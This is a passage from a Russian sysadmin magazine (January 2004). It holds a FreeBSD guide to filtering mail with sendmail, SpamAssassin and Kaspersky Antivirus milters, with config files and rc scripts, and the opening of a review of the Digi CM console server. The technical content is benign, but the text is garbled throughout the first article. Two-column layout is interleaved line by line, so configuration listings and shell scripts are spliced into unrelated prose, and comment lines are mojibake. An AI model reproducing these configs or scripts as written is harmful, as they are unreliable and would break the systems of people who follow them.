вателей. В частности, мой сервер P100 64 Мб RAM 540 Мб +
1 Гб SCSI HDD обслуживает 50 пользователей. Правда с Здесь вы можете обновлять все порты, систему, если
трудом, но помимо почтовой системы на нём стоит Squid, вам это необходимо. Для меня было достаточно этих
Apache, Bind и много чего ещё. портов.
Итак, выбор данных компонентов обусловлен:

наличием модулей в стандартных портах FreeBSD; vi cvsup.sh
# =======íà÷àëî ôàéëà cvsup.sh==========

достаточно легко настраивается; #!/bin/sh

имеет адаптивную систему обучения; /usr/local/bin/cvsup -g -L 2 cvsup.ports
# =======êîíåö ôàéëà cvsup.sh===========

имеет несколько сотен параметров настройки, с по-
мощью которых можно подстраивать систему под ваши chmod +x cvsup.sh
требования;

в процессе своей работы система самостоятельно обу- Из обновленных портов понадобится поставить сле-
чается. Вам достаточно будет следить и корректиро- дующие (технология стандартная, make & make install):
вать входные параметры.
/usr/ports/mail/sendmail
/usr/ports/mail/p5-Mail-SpamAssassin
Статья рассчитана на хорошо подготовленного пользо- /usr/ports/mail/spamass-milter
вателя. Поэтому, если вы не знакомы с Unix-системами, /usr/ports/mail/kavmilter
вряд ли она вам чем-нибудь поможет.
Итак, вся процедура состоит из нескольких частей:

Обновление дерева портов. Обновление почтового демона

Обновление почтового демона. (/usr/ports/mail/sendmail)

Установка и настройка демона spamd, который разби- Поскольку изначально в FreeBSD 5.1 ставится Sendmail
рает сообщение по кусочкам и ставит спам-балл. Если 8.12.9, обновим его до 8.12.10 из портов. После установ-
балл превышает некую цифру, которую вы можете из- ки его будет удобно собирать отсюда:
менять, письмо преобразуется определенным образом.

Установка и настройка milter (spamass-milter) для почтово- /usr/ports/mail/sendmail/work/sendmail-8.12.10/cf/cf
го демона. Он будет передавать сообщение демону spamd
и принимать его обратно, пересылая дальше по цепочке. Как – поясню чуть позже. Дополнительно в каталоге

Установка и настройка Kaspersky Antivirus. В поясне- /usr/ports/mail/sendmail необходимо сделать:
нии не нуждается.

Установка и настройка milter (kavmilter) для почтового make mailer.conf
демона. Он будет передавать сообщение Kaspersky
Antivirus.

Настройка самого почтового демона. Установка и настройка демона spamd

Обучение системы. (/usr/ports/mail/p5-Mail-SpamAssassin)

Последние штрихи, ссылки и благодарности. Далее, с sendmail все понятно. Для остальных портов не-
большие пояснения.
Обновление дерева портов Основной демон, фильтрующий вашу почту – spamd.
Для начала обновим дерево портов: Его конфигурационный файл находится здесь:

№1(14), январь 2004 69

 администрирование
/usr/local/etc/mail/spamassassin/local.cf esac
# ==========íà÷àëî ôàéëà local.cf======== exit 0
# don't use agent # =========êîíåö ôàéëà spammerdaemon.sh===
use_razor2 0
use_dcc 0 Стоит добавить пользователя filter, группу filter, создать
use_pyzor 0
каталог /var/spool/filter и назначить пользователя filter его
# check rdl владельцем.
skip_rbl_checks 0
# autowhitelist vipw
use_auto_whitelist 1 filter:*:1025:1025::0:0:Mail Filter:/var/spool/filter: ↵
auto_whitelist_path /var/spool/filter/.spamassassin/auto_whitelist /sbin/nologin
# bayes vi /etc/group
use_bayes 1 filter:*:1025:filter
bayes_path /var/spool/filter/.spamassassin/bayes
bayes_expiry_max_db_size 1500000 mkdir /var/spool/filter
chown filter:filter /var/spool/filter
auto_learn 1
ok_languages en ru de
ok_locales en ru de Как я уже говорил, мне удобнее, когда сообщения от
# rewrite subject
разных демонов пишутся в разные лог-файлы. Поэтому,
rewrite_subject 1 чтобы перенаправить сообщения от spamd в другой файл,
subject_tag *SPAM*_HITS_ points* : создадим пустой файл spamd.log:
required_hits 3.5
cd /var/log
# user rules cat >./spamd.log
allow_user_rules 0 chown filter:filter spamd.log
# report options
always_add_report 1 И скорректируем содержимое двух файлов syslog.conf
report_safe 0 и newsyslog.conf:
report_charset koi8-r

# score options # ========äîáàâêà â ôàéë syslog.conf======

score FROM_ILLEGAL_CHARS 1.5 local5.* /var/log/spamd.log
score HEAD_ILLEGAL_CHARS 1.5 # =========êîíåö ôàéëà syslog.conf========
score SUBJ_ILLEGAL_CHARS 1.5
score SUBJ_HAS_SPACES 2.5 # ======äîáàâêà â ôàéë newsyslog.conf=====
score NO_REAL_NAME 1.0 /var/log/spamd.log filter:filter 640 3 2000 * Z
score PENIS_ENLARGE 3.5 # =======êîíåö ôàéëà newsyslog.conf=======
score PENIS_ENLARGE2 3.5
score FROM_HAS_MIXED_NUMS 1.0
score FORGED_IMS_TAGS 0.5
# network whitelist Установка и настройка milter
whitelist_from localhost
whitelist_to spam@mycompany.ru
(spamass-milter) для почтового демона
# ==========êîíåö ôàéëà local.cf========= (/usr/ports/mail/spamass-milter)
Собственно сам демон, разбирающий почту по косточ-
Файл /usr/local/etc/rc.d/spammerdaemon.sh. Собствен- кам, готов. Перейдем к настройкам milter, который будет
но скрипт, запускающий сам демон. Обратите внимание передавать письмо от sendmail к spamd. При установке
на два параметра. Первый -u filter означает, что демон spamass-milter файл, объясняющий процедуру активиза-
запускается от некоего виртуального пользователя, име- ции фильтра, лежит здесь: /usr/local/share/doc/spamass-
ющего ограниченные права. Про самого пользователя milter/activation.txt. Из всего этого я вынес для себя толь-
чуть ниже. Второй параметр -s local5. Это вывод сообще- ко одну полезную строчку:
ний в другой файл-лог. Изначально демон spamd все пи-
шет в maillog. Мне это не понравилось, я вывел сообще- INPUT_MAIL_FILTER(`spamassassin', `S=local:/var/run/ ↵
spamass-milter.sock, F=, T=C:15m;S:4m;R:4m;E:10m')
ния от него в другой файл. Так удобнее анализировать. В
принципе я бы вообще его отключил, да вот в документа- Её надо будет добавить в ваш конфигурационный файл
ции не нашел как. Sendmail. Ну и собственно скрипт для запуска milter-фильт-
ра. Там ничего сложного нет. Единственное изменение, ко-
# =========íà÷àëî ôàéëà spammerdaemon.sh== торое я сделал, – добавил в скрипт адрес, на который будет
#!/bin/sh
case "$1" in пересылаться почта, идентифицированная как «СПАМ».
start)
kill `ps ax | grep spamd | grep -v grep | awk '{print $1}' | ↵
head -1` >/dev/null 2>/dev/null && echo -n ' spamd' /usr/local/etc/rc.d/spamass-milter.sh
[ -x /usr/local/bin/spamd ] && /usr/local/bin/spamd -d -a ↵ # =======íà÷àëî ôàéëà spamass-milter.sh===
-u filter -x -s local5 && echo -n ' spamd' #!/bin/sh
;;
stop) DAEMON=/usr/local/sbin/spamass-milter
kill `ps ax | grep spamd | grep -v grep | awk '{print $1}' | ↵ SOCKET=/var/run/spamass-milter.sock
head -1` >/dev/null 2>/dev/null && echo -n ' spamd' PIDFILE=/var/run/spamass-milter.pid
;; SPAMADRESS=spam@mycompany.ru
*)
case "$1" in
echo "Usage: `basename $0` {start|stop}" >&2
;; start)
if [ -f "${DAEMON}" -a -x "${DAEMON}" ]

70
 администрирование
then Warnings=Yes
"${DAEMON}" -b "${SPAMADRESS}" -p "${SOCKET}" -f & CodeAnalyser=Yes
echo $! > "${PIDFILE}" RedundantScan=No
sleep 1 SubDirectories=Yes
kill -HUP `head -1 /var/run/sendmail.pid` CrossFs=Yes
echo -n ' spamass-milter running'
fi # global(common) options sections
;; [Options]
stop) ScanRemovable=Yes
if [ -f "${PIDFILE}" ] ScanSubDirAtEnd=No
then ParallelScan=No
read -r pid junk < "${PIDFILE}" LimitForProcess=16
kill ${pid} EndlesslyScan=No
rm -f "${SOCKET}" "${PIDFILE}" ScanDelay=-1
sleep 1 Symlinks=1
kill -HUP `head -1 /var/run/sendmail.pid` [Report]
echo -n ' spamass-milter stopped' Report=Yes
fi UseSysLog=No
;; ReportFileName=/var/log/kav/kavscan.rpt
esac Append=Yes
# ========êîíåö ôàéëà spamass-milter.sh=== ReportFileLimit=Yes
ReportFileSize=500
RepCreateFlag=600
ExtReport=No
Установка и настройка Kaspersky Antivirus WriteTime=Yes
С настройками фильтров, определяющих наличие спама в WriteExtInfo=No
UseCR=No
сообщениях, покончено. Перейдем к установке Kaspersky RepForEachDisk=No
Antivirus и milter для Sendmail. Соответственно качаем: LongStrings=Yes
UserReport=No

kav-MailServer-4.0.4.0-FreeBSD-4.x.tgz UserReportName=/var/log/kav/userreport.log

tar xzvf kav-MailServer-4.0.4.0-FreeBSD-4.x.tgz # Showing objects
ShowOK=No

pkg_add kav-WorkStationSuite-4.0.4.0-FreeBSD-4.x.tgz ShowPack=No
ShowPassworded=No
ShowSuspision=No
Из всего, что поставится в каталог /usr/local/share/AVP, ShowWarning=No
интересны только эти файлы: ShowCorrupted=No
ShowUnknown=No

kavdaemon

kavscanner # Action with infected files
[ActionWithInfected]

defUnix.prf InfectedCopy=No

AvpUnix.ini # Action with suspicion files
[ActionWithSuspicion]
Содержание конфигурационных файлов: SuspiciousCopy=No

# Action with corrupted files

# =======íà÷àëî ôàéëà AvpUnix.ini========= [ActionWithCorrupted]
[AVP32] CorruptedCopy=No
DefaultProfile=/usr/local/share/AVP/defUnix.prf
[TempFiles]
[Configuration] UseMemoryFiles=Yes
KeysPath=/usr/local/share/AVP LimitForMemFiles=6000
SetFile=avp.set MemFilesMaxSize=20000
BasePath=/usr/local/share/AVP/Bases TempPath=/tmp
SearchInSubDir=No
UpdatePath=http://downloads2.kaspersky-labs.com/updates/ [Priority]
# ========êîíåö ôàéëà AvpUnix.ini========= Father=0
Child=0
В следующем файле многие параметры настройки [Customize]
опущены, поскольку не имеют принципиального значения: Sound=No
UpdateCheck=No
UpdateInterval=90
# =======íà÷àëî ôàéëà defUnix.ini========= OtherMessages=No
# same section with parameters for objects RedundantMessage=No
[Object] DeleteAllMessage=No
Names=*/home;*/tmp;*/var/tmp;/usr/src;/mnt/cdrom;/usr/tmp;/tmp/kav ExitOnBadBases=Yes
Memory=No UseExtendedExitCode=Yes
Sectors=No # ========êîíåö ôàéëà defUnix.ini=========
ScanAllSectors=No
Files=Yes
FileMask=2 Здесь я кое-что изменил. Во-первых, при установке
UserMask=*.tar.gz Kaspersky Antivirus он пытается свои конфигурационные
ExcludeFiles=0
ExcludeMask=*.txt *.cmd файлы поместить в /etc/Avp. Мне это не понравилось, я вы-
ExcludeDir= кинул оттуда все и поместил в домашний каталог Kaspersky
Packed=Yes
Archives=Yes Antivirus: /usr/local/share/AVP. Далее создал два каталога,
SelfExtArchives=Yes где будут храниться лог-файлы и временные файлы для
MailBases=Yes
MailPlain=Yes проверки на вирусы.
Embedded=Yes
InfectedAction=3
mkdir /var/log/kav
BackupInfected=No
IfDisinfImpossible=1 mkdir /tmp/kav

№1(14), январь 2004 71

 администрирование
Установка и настройка milter (kavmilter) [ -f $AVPDIR/AvpPid ] && $BINDIR/kavdaemon ↵
для почтового демона -ka > /dev/null && $BINDIR/kavdaemon $DPARMS > ↵
dev/null && echo 'kavdaemon restarted'
(/usr/ports/mail/kavmilter) ;;
Процедура все та же: make & make install. *)
echo "Usage: `basename $0` {start|stop|restart}" >&2
При установке kavmilter создаются три файла, один ;;
файл запуска самого kavmilter, второй файл запуска де- esac
мона kavdaemon, третий конфигурационный. Там много exit 0
изменений, потому просто содержимое файлов: # ========êîíåö ôàéëà kavdaemon.sh==========

/usr/local/etc/kavmilter.conf
# =======íà÷àëî ôàéëà kavmilter.conf========
SendmailPipe = /var/run/kavmilter Настройка самого почтового демона
KAVPipe = /var/run/AvpCtl Настройка sendmail для фильтрации почты от спама, ви-
PIDFile = /var/run/kavmilter.pid
TempDirectory = /tmp/kav русов и прочее. Переходим в каталог с конфигурацион-
KAVTimeout = 60 ными файлами sendmail:
SendmailTimeout = 300
DebugLevel = 0
DaemonMode = yes cd /usr/ports/mail/sendmail/work/sendmail-8.12.10/cf/cf
InfectedAction = discard
# ========êîíåö ôàéëà kavmilter.conf========
Создаем файл main.mc следующего содержания:
# =======íà÷àëî ôàéëà kavmilter.sh==========
#!/bin/sh
PREFIX=/usr/local/libexec # =======íà÷àëî ôàéëà main.mc===============
PIPE=/var/run/kavmilter divert(-1)
KAVPIPE=/var/run/AvpCtl divert(0)
PIDFILE=/var/run/kavmilter.pid include(`../m4/cf.m4')
TEMPDIR=/tmp/kav VERSIONID(`$FreeBSD: src/etc/sendmail/freebsd.mc, ↵
DPARMS="-D 0" v 1.10.2.11 2001/07/14 18:07:27 gshapiro Exp $')
OSTYPE(freebsd5)
case "$1" in DOMAIN(generic)
start)
rm -f ${PIPE} > /dev/null && ↵ FEATURE(`no_default_msa')
${PREFIX}/kavmilter ${DPARMS} > /dev/null && ↵ DAEMON_OPTIONS(`Port=smtp, Name=MTA')
echo -n ' kavmilter'
;; FEATURE(access_db, `hash -o -T<TMPF> /etc/mail/access')
FEATURE(blacklist_recipients)
stop) FEATURE(local_lmtp)
killall -TERM kavmilter > /dev/null && rm -f ${PIPE} && ↵ FEATURE(mailertable, `hash -o /etc/mail/mailertable')
rm -f ${PIDFILE} && echo "kavmilter stopped" FEATURE(relay_based_on_MX)
;; FEATURE(virtusertable, `hash -o /etc/mail/virtusertable')
restart) dnl Realtime Blocking List - AntiSpam Control
killall -TERM kavmilter > /dev/null && rm -f ${PIPE} && ↵ dnl FEATURE(dnsbl)
rm -f ${PIDFILE} && sleep 5 && ↵ dnl FEATURE(dnsbl, `relays.osirusoft.com', ↵
${PREFIX}/kavmilter ${DPARMS} > /dev/null && ↵ `Mail rejected - see http://relays.osirusoft.com/')
echo "kavmilter restarted" FEATURE(dnsbl,`relays.ordb.org',`Mail rejected - ↵
;; see http://ordb.org/')
*) FEATURE(dnsbl,`blackholes.easynet.nl',`Mail rejected - ↵
echo "Usage: `basename $0` {start|stop|restart}" >&2 see http://blackholes.easynet.nl/')
;; dnl FEATURE(dnsbl,`inputs.orbz.org', `Mail rejected - ↵
esac see http://orbz.org/')
dnl FEATURE(dnsbl,`relays.visi.com', `Mail rejected - ↵
exit 0 see http://relays.visi.com/')
# ========êîíåö ôàéëà kavmilter.sh========== dnl FEATURE(dnsbl, `ex.dnsbl.org', `Mail rejected - ↵
see http://www.dnsbl.org/')
При установке Kaspersky Antivirus в /usr/local/etc/rc.d/ dnl FEATURE(dnsbl,`blackholes.mail-abuse.org', ↵
`Mail rejected - see http://mail-abuse.org/')
создается файл kavd.sh. Я его удалил, вместо него сле- dnl FEATURE(dnsbl,`relays.mail-abuse.org',`Mail rejected - ↵
дует использовать другой, что ставится вместе с kavmilter. see http://work-rss.mail-abuse.org/')
dnl FEATURE(dnsbl,`dialups.mail-abuse.org', ↵
Некоторые строки мною изменены, потому просто содер- `Mail rejected; see http://mail-abuse.org/dul/enduser.htm')
жимое файла /usr/local/etc/rc.d/kavdaemon.sh: dnl Russian DialUp Blocking List
FEATURE(`dnsbl',`dul.ru',`Mail rejected - your are spammer')

# =======íà÷àëî ôàéëà kavdaemon.sh========== dnl Uncomment the first line to change the location of the default
#!/bin/sh dnl /etc/mail/local-host-names and comment out the second line.
PREFIX="/usr/local/share/AVP" dnl define(`confCW_FILE', `-o /etc/mail/sendmail.cw')
BINDIR="/usr/local/share/AVP" define(`confCW_FILE', `-o /etc/mail/local-host-names')
AVPDIR="/tmp/kav"
AVPPIPE="/var/run" define(`confMAX_MIME_HEADER_LENGTH', `256/128')
DPARMS="-Y -f=$AVPPIPE -MP -dl -MD -I0 -o{$AVPDIR} $AVPDIR" define(`confMAX_MESSAGE_SIZE', 5000000)
define(`confNO_RCPT_ACTION', `add-to-undisclosed')
case "$1" in define(`confPRIVACY_FLAGS',
start)
$BINDIR/kavdaemon $DPARMS && echo -n ' kavdaemon' `authwarnings,noexpn,novrfy,noetrn,nobodyreturn,goaway, ↵
;; restrictmailq,restrictqrun')
stop) define(`confSMTP_LOGIN_MSG',`Antispam-MTA; ↵
[ -f $AVPDIR/AvpPid ] && $BINDIR/kavdaemon ↵ "Non-authorized relaying DENIED." $b')
-ka > /dev/null && echo "kavdaemon terminated" define(`confMAX_RCPTS_PER_MESSAGE', `5')
;;
INPUT_MAIL_FILTER(`spamassassin', `S=local:/var/run/ ↵
restart) spamass-milter.sock, F=, T=C:15m;S:4m;R:4m;E:10m')

72

INPUT_MAIL_FILTER(`kavmilter',`S=unix:/var/run/kavmilter,F=T')
define(`confMILTER_LOG_LEVEL',`6')
MAILER(local)
MAILER(smtp)
# ========êîíåö ôàéëà main.mc===============
Полагаю, что вы немного знакомы с настройкой sendmail,
поэтому не буду объяснять все позиции. Поясню лишь три:
INPUT_MAIL_FILTER(`spamassassin', `S=local:/var/run/↵
spamass-milter.sock, F=, T=C:15m;S:4m;R:4m;E:10m')
Эта строчка говорит, что при получении письма почто-
виком письмо передаётся фильтру spamassassin для про-
верки на спам. В результате обработки письму присваи-
вается некий рейтинг.
INPUT_MAIL_FILTER(`kavmilter',`S=unix:/var/run/kavmilter,F=T')
Эта строчка говорит о том, что после обработки письма
на потенциальный спам письмо попадает к Kaspersky Antivirus,
а тот уже делает вывод, содержит ли письмо вирус или нет.
define(`confMILTER_LOG_LEVEL',`6')
Ну и эта строка лишь уменьшает количество выводи-
мой информации в логи, что удобно после отладки. Мне
нужны только строки о поступлении и пересылке письма.
Для «разбора полёта» письма их вполне достаточно.
Собираем конфигурационный файл sendmail:
m4 main.mc>sendmail.cf
Его надо перезаписать поверх старого файла /etc/mail/
sendmail.cf.
Обучение системы
Итак, после всех этих процедур ваша система готова к ра-
боте. С начальными настройками она способна фильтро-
вать до 60-70% лишней почты. Для увеличения этой циф-
ры вам необходимо «обучить» систему. По большому сче-
ту в процессе работы система сама обучается. То есть чем
больше писем она обрабатывает, тем меньше вероятность
ошибки и больше процент фильтрации писем. Для ручного
обучения (помощи системе) вам необходимо собрать от 200
спам-писем и нормальных писем. Передать их системе и
обработать. Письма можно получить обычным экспортом
из почтового клиента. Вид писем стандартный (.eml), вы-
резать из них ничего не надо. К примеру:
=====íà÷àëî ôàéëà=====
Return-Path: narayan@epfl.ch
Received: from flashmail.com ([200.75.94.146])
by ns.mycompany.ru (8.12.10/8.12.10) with SMTP ↵
id hB38USe7096329
for <lan@mycompany.ru>; Wed, 3 Dec 2003 11:30:44 ↵
+0300 (MSK)
(envelope-from narayan@epfl.ch)
Date: Wed, 03 Dec 2003 06:35:56 +0000
From: narayan@epfl.ch
Subject: =?Windows-1251?B?yvLuIOHz5OXyIOz98O7sPyE=?=
To: Lan lan@mycompany.ru
…………
======êîíåö ôàéëà=====
Итак, в домашнем каталоге создаем два каталога для
№1(14), январь 2004
администрирование
спам-писем и для нормальных писем, пишем небольшой
скрипт и обучаем систему.
cd /home/user
mkdir spamd spamd/ham spamd/spam
cd spamd
vi spamd-training.sh
====íà÷àëî ôàéëà spamd-training.sh====
#!/bin/sh
sa-learn --ham /home/gennadiy/Spamd/ham/
sa-learn --spam /home/gennadiy/Spamd/spam/
=====êîíåö ôàéëà spamd-training.sh====
chmod +x spamd-training.sh
В каталог spamd/ham пишем нормальные письма, в
каталог spamd/spam пишем спам. Запускаем скрипт:
./spamd-training.sh
Всё. Статистику по обработке почты можно посмот-
реть командой:
sa-learn --dump magic
Последние штрихи, ссылки
и благодарности
Ну и несколько последних штрихов. На самом деле вы
можете этот шаг пропустить или сделать так, как вам удоб-
нее. Я для собственного успокоения создал каталог /usr/
local/etc/script. Переместил туда всё необходимые мне
стартовые скрипты kavdaemon.sh, spammerdaemon.sh,
kavmilter.sh, spamass-milter.sh. В каталоге /usr/local/etc/rc.d
создал исполняемый скрипт следующего содержания:
# =======íà÷àëî ôàéëà start.sh===============
#!/bin/sh
# my start script
# kavdaemon - antiviral tolkien pro
/usr/local/etc/script/kavdaemon.sh start
# starting mail filter daemon
/usr/local/etc/script/spammerdaemon.sh start
/usr/local/etc/script/kavmilter.sh start
/usr/local/etc/script/spamass-milter.sh start
# ========êîíåö ôàéëà start.sh===============
Вот вроде бы и всё. Буду благодарен за любые заме-
чания на адрес: stranger03@mail.ru
Огромное спасибо: Андрееву Павлу, системному ад-
министратору Novavox, и Тараненко Сергею, системному
администратору Trinity, за неоценимую помощь в созда-
нии данной системы.
Ссылки на документы:
1. О самом cvsup можете прочитать здесь:
http://www.freebsd.org.ru/how-to/cvsup/
2. О настройках демона spamd можете прочитать здесь:
http://www.spamassassin.org/doc/Mail_Spam-
Assassin_Conf.html
3. О тестовых параметрах, по которым можно подстраи-
вать систему под ваши требования, можно прочитать
здесь: http://spamassassin.org/tests.html
4. О настройках Sendmail можете прочитать здесь:
http://unix1.jinr.ru/~lavr/webmail/sendmail_common.mc
73
администрирование

БЕЗОПАСНЫЙ УДАЛЁННЫЙ ДОСТУП

К КОНСОЛЯМ ОБОРУДОВАНИЯ

ДМИТРИЙ РЖАВИН
РАФАЭЛЬ ШАРАФAУТДИНОВ

74

История вопроса
Для подавляющего большинства системных администра-
торов режим консольного доступа в общем-то рутинный,
но в то же время универсальный и надежный инструмент
как для первичного конфигурирования активного обору-
дования, так и для решения аварийных проблем. Поэто-
му агитировать кого-то особого смысла не имеет, но со-
вершить небольшой экскурс в пользу подрастающего по-
коления все же стоит.
Последовательные консоли были и остаются атрибу-
тами Intel- и RISC-серверов, коммутаторов, маршрути-
заторов, устройств VPN, офисных АТС и источников бес-
перебойного питания. Секрет консольного доступа зак-
лючается в его простоте, широком распространении и
универсальности. Можно возразить, что необходимость
встроенной консоли становится со временем менее ак-
туальной, и производители встраивают в свои продукты
графические интерфейсы администрирования, доступ-
ные в любой точке сети через стандартный веб-браузер.
Да, так оно и есть, но рекламируя средства визуализа-
ции, производители часто умалчивают о том, что не все
функции доступны в этом режиме. Что же мешает им в
этом благородном деле?
Ответ в общем-то прост. Наделяя свои устройства из-
быточными с точки зрения их основного назначения
средствами визуализации, производителям приходится
увеличивать размеры микроядра, управляющего ПО. Это
в свою очередь снижает надежность этого самого ПО, и
чем больше оно поддерживает графических возможно-
стей, тем больше объем кода и тем больше вероятность
сбоя. Даром ничего не дается. Достаточно вспомнить
пример перехода со старой доброй ОС MS DOS на
Windows 2.0 или 3.1 и какую дань нам приходится пла-
тить до сегодняшнего дня за удобства графического ин-
терфейса Microsoft Windows. Кроме того, увеличение ПО
и его функциональности снижает общую производитель-
ность устройств, что вынуждает использовать более
мощные процессоры и увеличивать объем оперативной
и флэш-памяти. В конечном итоге все это приводит к
увеличению стоимости устройств, что не может устро-
ить ни потребителей, ни поставщиков в условиях всеоб-
щей ценовой конкуренции.
Поэтому сегодня мы имеем дело с компромиссными
решениями, когда наиболее часто используемые и про-
стые функции становятся доступны в виде графическо-
го интерфейса, а по-настоящему полноценный тюнинг
по-прежнему доступен с управляющей консоли. Не надо
также забывать, что некоторые брандмауэры конфигу-
рируются исключительно с консольного порта, а ввод c
консоли команды сброса всех текущих установок зачас-
тую является единственной возможностью вернуть к
жизни «зависшее» устройство.
История выбора
Рано или поздно критическая масса администрируемо-
го оборудования превышает всякий порог нормального
существования администратора, что заставляет поду-
мать не только о себе любимом и дорогом. Возникает
проблема, как упростить каждодневные операции и мак-
№1(14), январь 2004
администрирование
симально быстро ликвидировать аварийные ситуации.
При этом хотелось бы узнавать о сбоях не от разгневан-
ного начальства или пользователей и иметь возможность
восстановления истории инцидента для дальнейшего
анализа и диагностики.
Но это только часть критериев для поиска подходя-
щего решения. При более широкой постановке вопроса,
хотелось бы иметь устройство, которое, во-первых, мог-
ло бы обеспечить безопасность доступа к консолям. И
при этом служило бы единственной точкой доступа к мно-
жеству устройств и делало такой доступ глобальным. Во-
вторых, имело бы высокую плотность портов и не зани-
мало много места в монтажном шкафу при относитель-
но низкой цене. В-третьих, устройство должно выдавать
SNMP-трапы о системных событиях. В-четвертых, удоб-
ным, надежным и простым в управлении. Ну и, конечно
же, все определяет цена решения.
Как известно, всегда хочется иметь нечто такое, что
идеально подходило бы для конкретной задачи, а не то,
что в принципе может решить проблему. Распростра-
ненным решением является использование маршрути-
заторов Cisco 25хх серии, которые в целом неплохо
справляются с задачами терминального доступа. Но это
устаревшее оборудование с максимальной плотностью
16 асинхронных портов на 1U, которое по сообщениям
производителя уже давно должно быть снято с произ-
водства. Устройства 26 серии позволяют достичь нуж-
ной плотности портов, но дешевым это решение уже
назвать трудно.
Очень быстро удалось выяснить, что на текущий мо-
мент несколько производителей предлагают специали-
зированные устройства для удаленного терминально-
го и консольного доступа с высокой плотностью пор-
тов. На первый взгляд они обладали сходными техни-
ческими характеристиками и теоретически должны
были справиться с поставленной задачей. Поэтому по-
ступившее в начале 2003 года предложение одного из
российских дистрибуторов компании Digi Int. протести-
ровать ее продукцию оказалось как нельзя кстати.
После тестирования нескольких устройств выбор пал
на консольный сервер PortServer CM 32, который в ходе
экспресс-тестирования удовлетворил большую часть
наших требований и ожиданий. Спустя три месяца было
решено приобрести один сервер и приступить к его пол-
номасштабным испытаниям в условиях, максимально
приближенных к боевым.
История внедрения
При покупке нас ожидал настоящий сюрприз: поставщик
прекратил производство так понравившегося нам кон-
сольного сервера, а вместо него предлагалась новая мо-
дель – Digi CM 32 (с 32 серийными портами) и по более
привлекательной цене. Внешний дизайн устройства не
претерпел значительных изменений, зато на передней
панели появился слот для установки карт формата
PCMCIA. В перечень поддерживаемых карт входили
флэш-карты, карты беспроводного доступа, модемы и
сетевые карты. Эта опция показалась нам весьма полез-
ной, поскольку позволяла создавать дополнительное со-
75
 администрирование
единение при построении резервной сети управления.
Кроме того, теперь имелся выбор из 8, 16, 32 и 48 порто-
вых моделей.
Текущей задачей была организация небольшой се-
тевой лаборатории. Как известно, людям свойственно
ошибаться, и они пользуются этим свойством часто и с
удовольствием. Причем это относится не только к пользо-
вателям, но и к многочисленным разработчикам, особен-
но ПО. Впрочем, все, кто проводил хоть сколько-нибудь
сложные тесты оборудования, прекрасно понимают не-
обходимость консольного доступа к устройствам.
Собственно, при проведении тестирования у вас есть
несколько вариантов: можно притащить большой и шу-
мящий сервер или маршрутизатор на свой рабочий
стол. Если вас не побьют коллеги. Также можно несколь-
ко раз в день брать ноутбук и идти в серверную комна-
ту. Можно поставить консольный концентратор и под-
ключить все консоли лаборатории к нему. Мы выбрали
последний вариант.
Итак, создание тестовой зоны мы решили начать с
установки консольного концентратора, пары серверов,
коммутатора и маршрутизатора, обеспечивающего под-
ключение всего этого хозяйства к корпоративной сети. Все
консольные кабели были подключены к консольному сер-
веру Digi CM, кроме консоли самого Digi, которая была
подключена к консольному концентратору технологичес-
кой площадки – Cisco 26xx. Проблем с подключением не
возникло, в сопроводительной документации есть схемы
всех необходимых разводок. Для подключения консолей
всех устройств использовалась стандартная кабельная
разводка – обычные патч-корды 5-й категории и переход-
ники-конструкторы RJ-45 – DB-9/DB-25, которые очень
рекомендую. Переходники надо заказывать отдельно бан-
длами по 8 штук, но они перекрывают практически все
варианты консолей DB-9, DB-25, male и female.
Начальная конфигурация Digi осуществлялась через
консоль. После конфигурации сетевого интерфейса мы
перешли на веб-интерфейс, поскольку поддерживается и
HTTP, и HTTPS. Меню простые и достаточно удобные, так
что, если тонкая настройка не требуется, использовать
CLI для управления концентратором не обязательно. Во-
обще поставляемое с Digi ПО удовлетворяет большинству
стандартных запросов, так что лезть в устройство Shell
может потребоваться только в специфичных случаях.
Поэтому вам не придется изучать систему команд еще
одного устройства только для того, чтобы добраться до
консольных портов своего оборудования. Для любителей
покрутить труднодоступные ручки намекну, что внутри
живет сильно обрезанный Linux (Hard Hat Distribution).
Начальная настройка устройства тоже не заняла мно-
го времени. Поменяли пароли предопределенных пользо-
вателей, выбрали настройки доступа к консолям: кроме
параметров порта, можно выбрать протокол доступа к
концентратору – мы выбрали SSH, включить port logging
и даже настроить Digi на анализ сообщений с консоли
устройства, установить фильтры доступа к консоли по IP-
адресу и имени пользователя и много чего еще. Затем К быстро обнаруженным неприятным особенностям
выделили порт и IP-адрес для каждой консоли и добави- можно отнести очень большое время установки SSH-
ли нескольких новых пользователей. соединения (хотя после соединения сессия не тормо-

76

зит), а также требование выделять для обращения к
каждому консольному порту уникальный IP-адрес. Хотя
для подсоединения к консоли можно было использовать
и основной IP-адрес устройства. Также показалось не-
удобным ограничение на длину имени пользователя –
не менее пяти знаков. С настройкой остальных пара-
метров пользователя все оказалось просто здорово:
предусмотрены 4 предопределенных группы пользова-
телей – User, Port Admin, System Admin, Root и 4 вари-
анта их доступа к устройству – Web Interface, Port Access
Menu, Direct Port Access, Custom Menu. Доступ к на-
стройке параметров Digi CM, также возможен тремя
путями: через Web Interface Configuration menu и интер-
фейс командной строки – CLI.
Надо заметить, что только Root User может исполь-
зовать CLI для полного доступа к встроенной операци-
онной системе Linux Hard Hat. System Admin может ис-
пользовать CLI только для чтения, но не ввода команд.
Port Admin, System Admin и Root могут производить на-
стройку параметров консолей, как в Web Interface, так и
в Configuration menu. Группа User не имеют никаких воз-
можностей вносить изменения в действующие настрой-
ки. В дополнение к авторизации с помощью паролей (под-
держиваются локальная авторизация либо сетевая:
TACACS+, RADIUS, LDAP, Kerberos) можно настроить
авторизацию по public key:
При этом авторизацию на доступ к портам и к Port menu
можно настроить независимо от авторизации на доступ к
устройству:
№1(14), январь 2004
администрирование
К числу недостатков, обнаруженных позднее, мож-
но отнести отсутствие опции timezone, без которой ис-
пользование NTP выглядело проблематично из-за пе-
рехода на зимнее/летнее время. Также к явным багам
можно отнести наличие права у пользователей группы
Port Admin на перезагрузку устройства. Более того, в
процессе эксплуатации была обнаружена несколько за-
бавная ситуация: через некоторое время устройство
поднимало на 80-м порту вместо веб-сервера сервер
SSH. Вообще перечень замечаний оказался достаточ-
но длинным: невозможность установить на порту ACL с
netmask менее чем на 256 адресов, нестабильное со-
единение с консолью сервера через меню и т. д. В ко-
нечном итоге список возникших у нас вопросов и по-
желаний был отправлен в службу технической поддер-
жки Digi Int. Через некоторое время был получен ответ,
что они учтут наши пожелания в следующих версиях. А
еще через некоторое время вышла новая версия про-
шивки для Digi CM, в которой наиболее неприятные про-
блемы уже отсутствовали.
После установки новой версии устройство стало ра-
ботать стабильно, были поправлены некоторые непри-
ятные особенности, например, выделение IP-адреса для
доступа к порту стало опциональным, минимальная дли-
